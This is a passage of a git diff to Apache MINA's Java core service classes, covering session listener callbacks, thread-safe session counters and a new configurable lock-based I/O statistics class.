Exception; @@ -53,13 +59,23 @@ public interface IoServiceListener extends EventListener { * Invoked when a new session is created by an {@link IoService}. * * @param session the new session + * @throws Exception if an error occurred while the session is being created */ void sessionCreated(IoSession session) throws Exception; + /** + * Invoked when a new session is closed by an {@link IoService}. + * + * @param session the new session + * @throws Exception if an error occurred while the session is being closed + */ + void sessionClosed(IoSession session) throws Exception; + /** * Invoked when a session is being destroyed by an {@link IoService}. - * + * * @param session the session to be destroyed + * @throws Exception if an error occurred while the session is being destroyed */ void sessionDestroyed(IoSession session) throws Exception; } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListenerSupport.java b/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListenerSupport.java index 8ac63f507d..7262532435 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListenerSupport.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoServiceListenerSupport.java @@ -26,6 +26,7 @@ import java.util.concurrent.ConcurrentMap; import java.util.concurrent.CopyOnWriteArrayList; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicLong; import org.apache.mina.core.filterchain.IoFilterChain; import org.apache.mina.core.future.IoFuture; @@ -44,24 +45,24 @@ public class IoServiceListenerSupport { private final IoService service; /** A list of {@link IoServiceListener}s. */ - private final List listeners = new CopyOnWriteArrayList(); + private final List listeners = new CopyOnWriteArrayList<>(); /** Tracks managed sessions. */ - private final ConcurrentMap managedSessions = new ConcurrentHashMap(); + private final ConcurrentMap managedSessions = new ConcurrentHashMap<>(); /** Read only version of {@link #managedSessions}. */ private final Map readOnlyManagedSessions = Collections.unmodifiableMap(managedSessions); private final AtomicBoolean activated = new AtomicBoolean(); - + /** Time this listenerSupport has been activated */ private volatile long activationTime; - + /** A counter used to store the maximum sessions we managed since the listenerSupport has been activated */ private volatile int largestManagedSessionCount = 0; - + /** A global counter to count the number of sessions managed since the start */ - private volatile long cumulativeManagedSessionCount = 0; + private AtomicLong cumulativeManagedSessionCount = new AtomicLong(0); /** * Creates a new instance of the listenerSupport. @@ -72,7 +73,7 @@ public IoServiceListenerSupport(IoService service) { if (service == null) { throw new IllegalArgumentException("service"); } - + this.service = service; } @@ -105,16 +106,22 @@ public long getActivationTime() { return activationTime; } + /** + * @return A Map of the managed {@link IoSession}s + */ public Map getManagedSessions() { return readOnlyManagedSessions; } + /** + * @return The number of managed {@link IoSession}s + */ public int getManagedSessionCount() { return managedSessions.size(); } /** - * @return The largest number of managed session since the creation of this + * @return The largest number of managed session since the creation of this * listenerSupport */ public int getLargestManagedSessionCount() { @@ -122,11 +129,11 @@ public int getLargestManagedSessionCount() { } /** - * @return The total number of sessions managed since the initilization of this + * @return The total number of sessions managed since the initilization of this * ListenerSupport */ public long getCumulativeManagedSessionCount() { - return cumulativeManagedSessionCount; + return cumulativeManagedSessionCount.get(); } /** @@ -152,7 +159,7 @@ public void fireServiceActivated() { for (IoServiceListener listener : listeners) { try { listener.serviceActivated(service); - } catch (Throwable e) { + } catch (Exception e) { ExceptionMonitor.getInstance().exceptionCaught(e); } } @@ -164,7 +171,7 @@ public void fireServiceActivated() { */ public void fireServiceDeactivated() { if (!activated.compareAndSet(true, false)) { - // The instance is already desactivated + // The instance is already desactivated return; } @@ -173,7 +180,7 @@ public void fireServiceDeactivated() { for (IoServiceListener listener : listeners) { try { listener.serviceDeactivated(service); - } catch (Throwable e) { + } catch (Exception e) { ExceptionMonitor.getInstance().exceptionCaught(e); } } @@ -189,7 +196,7 @@ public void fireServiceDeactivated() { */ public void fireSessionCreated(IoSession session) { boolean firstSession = false; - + if (session.getService() instanceof IoConnector) { synchronized (managedSessions) { firstSession = managedSessions.isEmpty(); @@ -207,23 +214,27 @@ public void fireSessionCreated(IoSession session) { } // Fire session events. - IoFilterChain filterChain = session.getFilterChain(); + IoFilterChain filterChain = session.getFilterChain(); + + // Should call handler.sessionCreated() filterChain.fireSessionCreated(); + + // Should call handler.sessionOpened() filterChain.fireSessionOpened(); int managedSessionCount = managedSessions.size(); - + if (managedSessionCount > largestManagedSessionCount) { largestManagedSessionCount = managedSessionCount; } - - cumulativeManagedSessionCount ++; + + cumulativeManagedSessionCount.incrementAndGet(); // Fire listener events. - for (IoServiceListener l : listeners) { + for (IoServiceListener listener : listeners) { try { - l.sessionCreated(session); - } catch (Throwable e) { + listener.sessionCreated(session); + } catch (Exception e) { ExceptionMonitor.getInstance().exceptionCaught(e); } } @@ -245,10 +256,10 @@ public void fireSessionDestroyed(IoSession session) { // Fire listener events. try { - for (IoServiceListener l : listeners) { + for (IoServiceListener listener : listeners) { try { - l.sessionDestroyed(session); - } catch (Throwable e) { + listener.sessionDestroyed(session); + } catch (Exception e) { ExceptionMonitor.getInstance().exceptionCaught(e); } } @@ -256,11 +267,11 @@ public void fireSessionDestroyed(IoSession session) { // Fire a virtual service deactivation event for the last session of the connector. if (session.getService() instanceof IoConnector) { boolean lastSession = false; - + synchronized (managedSessions) { lastSession = managedSessions.isEmpty(); } - + if (lastSession) { fireServiceDeactivated(); } @@ -270,7 +281,6 @@ public void fireSessionDestroyed(IoSession session) { /** * Close all the sessions - * TODO disconnectSessions. * */ private void disconnectSessions() { @@ -287,7 +297,7 @@ private void disconnectSessions() { IoFutureListener listener = new LockNotifyingListener(lock); for (IoSession s : managedSessions.values()) { - s.close(true).addListener(listener); + s.closeNow().addListener(listener); } try { @@ -311,6 +321,7 @@ public LockNotifyingListener(Object lock) { this.lock = lock; } + @Override public void operationComplete(IoFuture future) { synchronized (lock) { lock.notifyAll(); diff --git a/mina-core/src/main/java/org/apache/mina/core/service/IoServiceStatistics.java b/mina-core/src/main/java/org/apache/mina/core/service/IoServiceStatistics.java index b6f18c0884..873ace92cc 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/IoServiceStatistics.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/IoServiceStatistics.java @@ -20,8 +20,8 @@ package org.apache.mina.core.service; import java.util.concurrent.atomic.AtomicInteger; -import java.util.concurrent.atomic.AtomicLong; - +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; /** * Provides usage statistics for an {@link AbstractIoService} instance. @@ -30,228 +30,433 @@ * @since 2.0.0-M3 */ public class IoServiceStatistics { - - private AbstractIoService service; - + + private final IoService service; + + /** The number of bytes read per second */ private double readBytesThroughput; + + /** The number of bytes written per second */ private double writtenBytesThroughput; + + /** The number of messages read per second */ private double readMessagesThroughput; + + /** The number of messages written per second */ private double writtenMessagesThroughput; + + /** The biggest number of bytes read per second */ private double largestReadBytesThroughput; + + /** The biggest number of bytes written per second */ private double largestWrittenBytesThroughput; + + /** The biggest number of messages read per second */ private double largestReadMessagesThroughput; - private double largestWrittenMessagesThroughput; - - private final AtomicLong readBytes = new AtomicLong(); - private final AtomicLong writtenBytes = new AtomicLong(); - private final AtomicLong readMessages = new AtomicLong(); - private final AtomicLong writtenMessages = new AtomicLong(); + + /** The biggest number of messages written per second */ + private double largestWrittenMessagesThroughput; + + /** The number of read bytes since the service has been started */ + private long readBytes; + + /** The number of written bytes since the service has been started */ + private long writtenBytes; + + /** The number of read messages since the service has been started */ + private long readMessages; + + /** The number of written messages since the service has been started */ + private long writtenMessages; + + /** The time the last read operation occurred */ private long lastReadTime; + + /** The time the last write operation occurred */ private long lastWriteTime; - + private long lastReadBytes; + private long lastWrittenBytes; + private long lastReadMessages; + private long lastWrittenMessages; + private long lastThroughputCalculationTime; - private final AtomicInteger scheduledWriteBytes = new AtomicInteger(); - private final AtomicInteger scheduledWriteMessages = new AtomicInteger(); - - private int throughputCalculationInterval = 3; - - private final Object throughputCalculationLock = new Object(); - - public IoServiceStatistics(AbstractIoService service) { + private int scheduledWriteBytes; + + private int scheduledWriteMessages; + + private final Lock throughputCalculationLock = new ReentrantLock(); + + private final Config config = new Config(); + + /** + * Creates a new IoServiceStatistics instance + * + * @param service The {@link IoService} for which we want statistics + */ + public IoServiceStatistics(IoService service) { this.service = service; } - + /** - * Returns the maximum number of sessions which were being managed at the - * same time. + * @return The maximum number of sessions which were being managed at the + * same time. */ public final int getLargestManagedSessionCount() { - return service.getListeners().getLargestManagedSessionCount(); + return ((AbstractIoService)service).getListeners().getLargestManagedSessionCount(); } /** - * Returns the cumulative number of sessions which were managed (or are - * being managed) by this service, which means 'currently managed session - * count + closed session count'. + * @return The cumulative number of sessions which were managed (or are + * being managed) by this service, which means 'currently managed + * session count + closed session count'. */ public final long getCumulativeManagedSessionCount() { - return service.getListeners().getCumulativeManagedSessionCount(); + return ((AbstractIoService)service).getListeners().getCumulativeManagedSessionCount(); } - + /** - * Returns the time in millis when I/O occurred lastly. + * @return the time in millis when the last I/O operation (read or write) + * occurred. */ public final long getLastIoTime() { - return Math.max(lastReadTime, lastWriteTime); + if (!config.isStatisticsCalcEnabled) { + return 0; + } + + if (!config.isLastReadTimeCalcEnabled || !config.isLastWriteTimeCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return Math.max(lastReadTime, lastWriteTime); + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the time in millis when read operation occurred lastly. + * @return The time in millis when the last read operation occurred. */ public final long getLastReadTime() { - return lastReadTime; + + if (!config.isStatisticsCalcEnabled || !config.isLastReadTimeCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return lastReadTime; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the time in millis when write operation occurred lastly. + * @return The time in millis when the last write operation occurred. */ public final long getLastWriteTime() { - return lastWriteTime; + if (!config.isStatisticsCalcEnabled || !config.isLastWriteTimeCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return lastWriteTime; + } finally { + throughputCalculationLock.unlock(); + } } - + /** - * Returns the number of bytes read by this service - * - * @return - * The number of bytes this service has read + * @return The number of bytes this service has read so far */ public final long getReadBytes() { - return readBytes.get(); + if (!config.isStatisticsCalcEnabled || !config.isReadBytesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return readBytes; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of bytes written out by this service - * - * @return - * The number of bytes this service has written + * @return The number of bytes this service has written so far */ public final long getWrittenBytes() { - return writtenBytes.get(); + if (!config.isStatisticsCalcEnabled || !config.isWrittenBytesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return writtenBytes; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of messages this services has read - * - * @return - * The number of messages this services has read + * @return The number of messages this services has read so far */ public final long getReadMessages() { - return readMessages.get(); + if (!config.isStatisticsCalcEnabled || !config.isReadMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return readMessages; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of messages this service has written - * - * @return - * The number of messages this service has written + * @return The number of messages this service has written so far */ public final long getWrittenMessages() { - return writtenMessages.get(); + if (!config.isStatisticsCalcEnabled || !config.isWrittenMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return writtenMessages; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of read bytes per second. + * @return The number of read bytes per second. */ public final double getReadBytesThroughput() { - resetThroughput(); - return readBytesThroughput; + if (!config.isStatisticsCalcEnabled || !(config.isReadBytesCalcEnabled)) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + resetThroughput(); + return readBytesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of written bytes per second. + * @return The number of written bytes per second. */ public final double getWrittenBytesThroughput() { - resetThroughput(); - return writtenBytesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isWrittenBytesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + resetThroughput(); + return writtenBytesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of read messages per second. + * @return The number of read messages per second. */ public final double getReadMessagesThroughput() { - resetThroughput(); - return readMessagesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isReadMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + resetThroughput(); + return readMessagesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the number of written messages per second. + * @return The number of written messages per second. */ public final double getWrittenMessagesThroughput() { - resetThroughput(); - return writtenMessagesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isWrittenMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + resetThroughput(); + return writtenMessagesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the maximum of the {@link #getReadBytesThroughput() readBytesThroughput}. + * @return The maximum number of bytes read per second since the service has + * been started. */ public final double getLargestReadBytesThroughput() { - return largestReadBytesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isReadBytesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return largestReadBytesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the maximum of the {@link #getWrittenBytesThroughput() writtenBytesThroughput}. + * @return The maximum number of bytes written per second since the service + * has been started. */ public final double getLargestWrittenBytesThroughput() { - return largestWrittenBytesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isWrittenBytesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return largestWrittenBytesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the maximum of the {@link #getReadMessagesThroughput() readMessagesThroughput}. + * @return The maximum number of messages read per second since the service + * has been started. */ public final double getLargestReadMessagesThroughput() { - return largestReadMessagesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isReadMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return largestReadMessagesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the maximum of the {@link #getWrittenMessagesThroughput() writtenMessagesThroughput}. + * @return The maximum number of messages written per second since the + * service has been started. */ public final double getLargestWrittenMessagesThroughput() { - return largestWrittenMessagesThroughput; + if (!config.isStatisticsCalcEnabled || !config.isWrittenMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return largestWrittenMessagesThroughput; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the interval (seconds) between each throughput calculation. - * The default value is 3 seconds. + * @return the interval (seconds) between each throughput calculation. The + * default value is 3 seconds. */ public final int getThroughputCalculationInterval() { - return throughputCalculationInterval; + return config.getThroughputCalculationInterval(); } /** - * Returns the interval (milliseconds) between each throughput calculation. - * The default value is 3 seconds. + * @return the interval (milliseconds) between each throughput calculation. + * The default value is 3 seconds. */ public final long getThroughputCalculationIntervalInMillis() { - return throughputCalculationInterval * 1000L; + return config.getThroughputCalculationIntervalInMillis(); } /** * Sets the interval (seconds) between each throughput calculation. The - * default value is 3 seconds. + * default value is 3 seconds. + * + * @param throughputCalculationInterval The interval between two calculation */ - public final void setThroughputCalculationInterval( - int throughputCalculationInterval) { - if (throughputCalculationInterval < 0) { - throw new IllegalArgumentException( - "throughputCalculationInterval: " - + throughputCalculationInterval); - } - - this.throughputCalculationInterval = throughputCalculationInterval; + public final void setThroughputCalculationInterval(int throughputCalculationInterval) { + config.setThroughputCalculationInterval(throughputCalculationInterval); } /** * Sets last time at which a read occurred on the service. + * + * @param lastReadTime + * The last time a read has occurred */ protected final void setLastReadTime(long lastReadTime) { - this.lastReadTime = lastReadTime; + if (!config.isStatisticsCalcEnabled || !config.isLastReadTimeCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + this.lastReadTime = lastReadTime; + } finally { + throughputCalculationLock.unlock(); + } } /** * Sets last time at which a write occurred on the service. + * + * @param lastWriteTime + * The last time a write has occurred */ protected final void setLastWriteTime(long lastWriteTime) { - this.lastWriteTime = lastWriteTime; + if (!config.isStatisticsCalcEnabled || !config.isLastWriteTimeCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + this.lastWriteTime = lastWriteTime; + } finally { + throughputCalculationLock.unlock(); + } } - + /** - * Resets the throughput counters of the service if none session - * is currently managed. + * Resets the throughput counters of the service if no session is currently + * managed. */ private void resetThroughput() { if (service.getManagedSessionCount() == 0) { @@ -264,38 +469,46 @@ private void resetThroughput() { /** * Updates the throughput counters. - */ + * + * @param currentTime The current time + */ public void updateThroughput(long currentTime) { - synchronized (throughputCalculationLock) { + if (!config.isStatisticsCalcEnabled) { + return; + } + + long minInterval = config.getThroughputCalculationIntervalInMillis(); + + if (minInterval == 0) { + return; + } + + throughputCalculationLock.lock(); + + try { int interval = (int) (currentTime - lastThroughputCalculationTime); - long minInterval = getThroughputCalculationIntervalInMillis(); - if (minInterval == 0 || interval < minInterval) { + + if (interval < minInterval) { return; } - long readBytes = this.readBytes.get(); - long writtenBytes = this.writtenBytes.get(); - long readMessages = this.readMessages.get(); - long writtenMessages = this.writtenMessages.get(); - - readBytesThroughput = (readBytes - lastReadBytes) * 1000.0 - / interval; - writtenBytesThroughput = (writtenBytes - lastWrittenBytes) * 1000.0 - / interval; - readMessagesThroughput = (readMessages - lastReadMessages) * 1000.0 - / interval; - writtenMessagesThroughput = (writtenMessages - lastWrittenMessages) - * 1000.0 / interval; + readBytesThroughput = (readBytes - lastReadBytes) * 1000.0 / interval; + writtenBytesThroughput = (writtenBytes - lastWrittenBytes) * 1000.0 / interval; + readMessagesThroughput = (readMessages - lastReadMessages) * 1000.0 / interval; + writtenMessagesThroughput = (writtenMessages - lastWrittenMessages) * 1000.0 / interval; if (readBytesThroughput > largestReadBytesThroughput) { largestReadBytesThroughput = readBytesThroughput; } + if (writtenBytesThroughput > largestWrittenBytesThroughput) { largestWrittenBytesThroughput = writtenBytesThroughput; } + if (readMessagesThroughput > largestReadMessagesThroughput) { largestReadMessagesThroughput = readMessagesThroughput; } + if (writtenMessagesThroughput > largestWrittenMessagesThroughput) { largestWrittenMessagesThroughput = writtenMessagesThroughput; } @@ -306,85 +519,429 @@ public void updateThroughput(long currentTime) { lastWrittenMessages = writtenMessages; lastThroughputCalculationTime = currentTime; + } finally { + throughputCalculationLock.unlock(); } } - + /** - * Increases the count of read bytes by increment and sets + * Increases the count of read bytes by nbBytesRead and sets * the last read time to currentTime. - */ - public final void increaseReadBytes(long increment, long currentTime) { - readBytes.addAndGet(increment); - lastReadTime = currentTime; + * + * @param nbBytesRead + * The number of bytes read + * @param currentTime + * The date those bytes were read + */ + public final void increaseReadBytes(long nbBytesRead, long currentTime) { + if (!config.isStatisticsCalcEnabled) { + return; + } + + if (!config.isReadBytesCalcEnabled && !config.isLastReadTimeCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + readBytes += nbBytesRead; + lastReadTime = currentTime; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Increases the count of read messages by 1 and sets the last read time to + * Increases the count of read messages by 1 and sets the last read time to * currentTime. - */ + * + * @param currentTime + * The time the message has been read + */ public final void increaseReadMessages(long currentTime) { - readMessages.incrementAndGet(); - lastReadTime = currentTime; + if (!config.isStatisticsCalcEnabled) { + return; + } + + if (!config.isReadMessagesCalcEnabled && !config.isLastReadTimeCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + readMessages++; + lastReadTime = currentTime; + } finally { + throughputCalculationLock.unlock(); + } } - + /** - * Increases the count of written bytes by increment and sets - * the last write time to currentTime. - */ - public final void increaseWrittenBytes(int increment, long currentTime) { - writtenBytes.addAndGet(increment); - lastWriteTime = currentTime; + * Increases the count of written bytes by nbBytesWritten and + * sets the last write time to currentTime. + * + * @param nbBytesWritten + * The number of bytes written + * @param currentTime + * The date those bytes were written + */ + public final void increaseWrittenBytes(int nbBytesWritten, long currentTime) { + if (!config.isStatisticsCalcEnabled) { + return; + } + + if (!config.isWrittenBytesCalcEnabled && !config.isLastWriteTimeCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + writtenBytes += nbBytesWritten; + lastWriteTime = currentTime; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Increases the count of written messages by 1 and sets the last write time to - * currentTime. - */ + * Increases the count of written messages by 1 and sets the last write time + * to currentTime. + * + * @param currentTime + * The date the message were written + */ public final void increaseWrittenMessages(long currentTime) { - writtenMessages.incrementAndGet(); - lastWriteTime = currentTime; + if (!config.isStatisticsCalcEnabled) { + return; + } + + if (!config.isWrittenMessagesCalcEnabled && !config.isLastWriteTimeCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + writtenMessages++; + lastWriteTime = currentTime; + } finally { + throughputCalculationLock.unlock(); + } } - + /** - * Returns the count of bytes scheduled for write. + * @return The count of bytes scheduled for write. */ public final int getScheduledWriteBytes() { - return scheduledWriteBytes.get(); + if (!config.isStatisticsCalcEnabled || !config.isScheduledWriteBytesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return scheduledWriteBytes; + } finally { + throughputCalculationLock.unlock(); + } } /** * Increments by increment the count of bytes scheduled for write. + * + * @param increment The number of added bytes fro write */ public final void increaseScheduledWriteBytes(int increment) { - scheduledWriteBytes.addAndGet(increment); + if (!config.isStatisticsCalcEnabled || !config.isScheduledWriteBytesCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + scheduledWriteBytes += increment; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Returns the count of messages scheduled for write. + * @return the count of messages scheduled for write. */ public final int getScheduledWriteMessages() { - return scheduledWriteMessages.get(); + if (!config.isStatisticsCalcEnabled || !config.isScheduledWriteMessagesCalcEnabled) { + return 0; + } + + throughputCalculationLock.lock(); + + try { + return scheduledWriteMessages; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Increments by 1 the count of messages scheduled for write. - */ + * Increments the count of messages scheduled for write. + */ public final void increaseScheduledWriteMessages() { - scheduledWriteMessages.incrementAndGet(); + if (!config.isStatisticsCalcEnabled || !config.isScheduledWriteMessagesCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + + try { + scheduledWriteMessages++; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Decrements by 1 the count of messages scheduled for write. - */ + * Decrements the count of messages scheduled for write. + */ public final void decreaseScheduledWriteMessages() { - scheduledWriteMessages.decrementAndGet(); + if (!config.isStatisticsCalcEnabled || !config.isScheduledWriteMessagesCalcEnabled) { + return; + } + + throughputCalculationLock.lock(); + try { + scheduledWriteMessages--; + } finally { + throughputCalculationLock.unlock(); + } + } + + /** + * Sets the time at which throughput counters where updated. + * + * @param lastThroughputCalculationTime The time at which throughput counters where updated. + */ + protected void setLastThroughputCalculationTime(long lastThroughputCalculationTime) { + if (!config.isStatisticsCalcEnabled) { + return; + } + + if (config.getThroughputCalculationInterval() == 0) { + return; + } + + throughputCalculationLock.lock(); + + try { + this.lastThroughputCalculationTime = lastThroughputCalculationTime; + } finally { + throughputCalculationLock.unlock(); + } } /** - * Sets the time at which throughtput counters where updated. - */ - protected void setLastThroughputCalculationTime( - long lastThroughputCalculationTime) { - this.lastThroughputCalculationTime = lastThroughputCalculationTime; - } + * @return The configuration of IoServiceStatistics + */ + public final Config getConfig() { + return config; + } + + /** + * This is a configuration for IoServiceStatistics. It allows configuring which statistics should be calculated. + * Disabling statistics calculation improves performance as each operation of IoServiceStatistics is blocking. + */ + public final static class Config { + + private volatile boolean isReadBytesCalcEnabled = true; + private volatile boolean isWrittenBytesCalcEnabled = true; + private volatile boolean isReadMessagesCalcEnabled = true; + private volatile boolean isWrittenMessagesCalcEnabled = true; + private volatile boolean isLastReadTimeCalcEnabled = true; + private volatile boolean isLastWriteTimeCalcEnabled = true; + private volatile boolean isScheduledWriteBytesCalcEnabled = true; + private volatile boolean isScheduledWriteMessagesCalcEnabled = true; + + /** The time (in second) between the computation of the service's statistics */ + private final AtomicInteger throughputCalculationInterval = new AtomicInteger(3); + + private volatile boolean isStatisticsCalcEnabled = true; + + /** + * @return Is IoServiceStatistics calculations enabled + */ + public boolean isStatisticsCalcEnabled() { + return isStatisticsCalcEnabled; + } + + /** + * Enable/disable IoServiceStatistics calculations for all parameters + * + * @param statisticsCalcEnabled Enabled/disabled boolean value + */ + public void setStatisticsCalcEnabled(boolean statisticsCalcEnabled) { + isStatisticsCalcEnabled = statisticsCalcEnabled; + } + + /** + * @return Is the number of read bytes calculation enabled + */ + public boolean isReadBytesCalcEnabled() { + return isReadBytesCalcEnabled; + } + + /** + * Enable/disable the number of read bytes calculation + * + * @param readBytesCalcEnabled Enabled/disabled boolean value + */ + public void setReadBytesCalcEnabled(boolean readBytesCalcEnabled) { + isReadBytesCalcEnabled = readBytesCalcEnabled; + } + + /** + * @return Is the number of written bytes calculation enabled + */ + public boolean isWrittenBytesCalcEnabled() { + return isWrittenBytesCalcEnabled; + } + + /** + * Enable/disable the number of written bytes calculation + * + * @param writtenBytesCalcEnabled Enabled/disabled boolean value + */ + public void setWrittenBytesCalcEnabled(boolean writtenBytesCalcEnabled) { + isWrittenBytesCalcEnabled = writtenBytesCalcEnabled; + } + + /** + * @return Is the number of read messages calculation enabled + */ + public boolean isReadMessagesCalcEnabled() { + return isReadMessagesCalcEnabled; + } + + /** + * Enable/disable the number of read messages calculation + * + * @param readMessagesCalcEnabled Enabled/disabled boolean value + */ + public void setReadMessagesCalcEnabled(boolean readMessagesCalcEnabled) { + isReadMessagesCalcEnabled = readMessagesCalcEnabled; + } + + /** + * @return Is the number of written messages calculation enabled + */ + public boolean isWrittenMessagesCalcEnabled() { + return isWrittenMessagesCalcEnabled; + } + + /** + * Enable/disable the number of written messages calculation + * + * @param writtenMessagesCalcEnabled Enabled/disabled boolean value + */ + public void setWrittenMessagesCalcEnabled(boolean writtenMessagesCalcEnabled) { + isWrittenMessagesCalcEnabled = writtenMessagesCalcEnabled; + } + + /** + * @return Is the last read time calculation enabled + */ + public boolean isLastReadTimeCalcEnabled() { + return isLastReadTimeCalcEnabled; + } + + /** + * Enable/disable the last read time calculation + * + * @param lastReadTimeCalcEnabled Enabled/disabled boolean value + */ + public void setLastReadTimeCalcEnabled(boolean lastReadTimeCalcEnabled) { + isLastReadTimeCalcEnabled = lastReadTimeCalcEnabled; + } + + /** + * + * @return Is the last write time calculation enabled + */ + public boolean isLastWriteTimeCalcEnabled() { + return isLastWriteTimeCalcEnabled; + } + + /** + * Enable/disable the last write time calculation + * + * @param lastWriteTimeCalcEnabled Enabled/disabled boolean value + */ + public void setLastWriteTimeCalcEnabled(boolean lastWriteTimeCalcEnabled) { + isLastWriteTimeCalcEnabled = lastWriteTimeCalcEnabled; + } + + /** + * @return Is scheduled for write the number of bytes calculation enabled + */ + public boolean isScheduledWriteBytesCalcEnabled() { + return isScheduledWriteBytesCalcEnabled; + } + + /** + * Enable/disable scheduled for write the number of bytes calculation + * + * @param scheduledWriteBytesCalcEnabled Enabled/disabled boolean value + */ + public void setScheduledWriteBytesCalcEnabled(boolean scheduledWriteBytesCalcEnabled) { + isScheduledWriteBytesCalcEnabled = scheduledWriteBytesCalcEnabled; + } + + /** + * @return Is scheduled for write the number of messages calculation enabled + */ + public boolean isScheduledWriteMessagesCalcEnabled() { + return isScheduledWriteMessagesCalcEnabled; + } + + /** + * Enable/disable scheduled for write messages calculation + * + * @param scheduledWriteMessagesCalcEnabled Enabled/disabled boolean value + */ + public void setScheduledWriteMessagesCalcEnabled(boolean scheduledWriteMessagesCalcEnabled) { + isScheduledWriteMessagesCalcEnabled = scheduledWriteMessagesCalcEnabled; + } + + /** + * @return the interval (seconds) between each throughput calculation. The + * default value is 3 seconds. + */ + public int getThroughputCalculationInterval() { + return throughputCalculationInterval.get(); + } + + /** + * @return the interval (milliseconds) between each throughput calculation. + * The default value is 3 seconds. + */ + public long getThroughputCalculationIntervalInMillis() { + return throughputCalculationInterval.get() * 1000L; + } + + /** + * Sets the interval (seconds) between each throughput calculation. The + * default value is 3 seconds. + * + * @param throughputCalculationInterval The interval between two calculation + */ + public void setThroughputCalculationInterval(int throughputCalculationInterval) { + if (throughputCalculationInterval < 0) { + throw new IllegalArgumentException("throughputCalculationInterval: " + throughputCalculationInterval); + } + + this.throughputCalculationInterval.set(throughputCalculationInterval); + } + + } } diff --git a/mina-core/src/main/java/org/apache/mina/core/service/SimpleIoProcessorPool.java b/mina-core/src/main/java/org/apache/mina/core/service/SimpleIoProcessorPool.java index 8a6b2bee01..8ebc5385fb 100644 --- a/mina-core/src/main/java/org/apache/mina/core/service/SimpleIoProcessorPool.java +++ b/mina-core/src/main/java/org/apache/mina/core/service/SimpleIoProcessorPool.java @@ -20,14 +20,18 @@ package org.apache.mina.core.service; import java.lang.reflect.Constructor; +import java.nio.channels.spi.SelectorProvider; +import java.util.Arrays; import java.util.concurrent.Executor; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; +import java.util.concurrent.ThreadPoolExecutor; import org.apache.mina.core.RuntimeIoException; import org.apache.mina.core.session.AbstractIoSession; import org.apache.mina.core.session.AttributeKey; import org.apache.mina.core.session.IoSession; +import org.apache.mina.core.write.WriteRequest; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -70,21 +74,21 @@ * * @author Apache MINA Project * - * @param the type of the {@link IoSession} to be managed by the specified + * @param the type of the {@link IoSession} to be managed by the specified * {@link IoProcessor}. */ -public class SimpleIoProcessorPool implements IoProcessor { +public class SimpleIoProcessorPool implements IoProcessor { /** A logger for this class */ - private final static Logger LOGGER = LoggerFactory.getLogger(SimpleIoProcessorPool.class); + private static final Logger LOGGER = LoggerFactory.getLogger(SimpleIoProcessorPool.class); /** The default pool size, when no size is provided. */ private static final int DEFAULT_SIZE = Runtime.getRuntime().availableProcessors() + 1; /** A key used to store the processor pool in the session's Attributes */ - private static final AttributeKey PROCESSOR = new AttributeKey( SimpleIoProcessorPool.class, "processor"); + private static final AttributeKey PROCESSOR = new 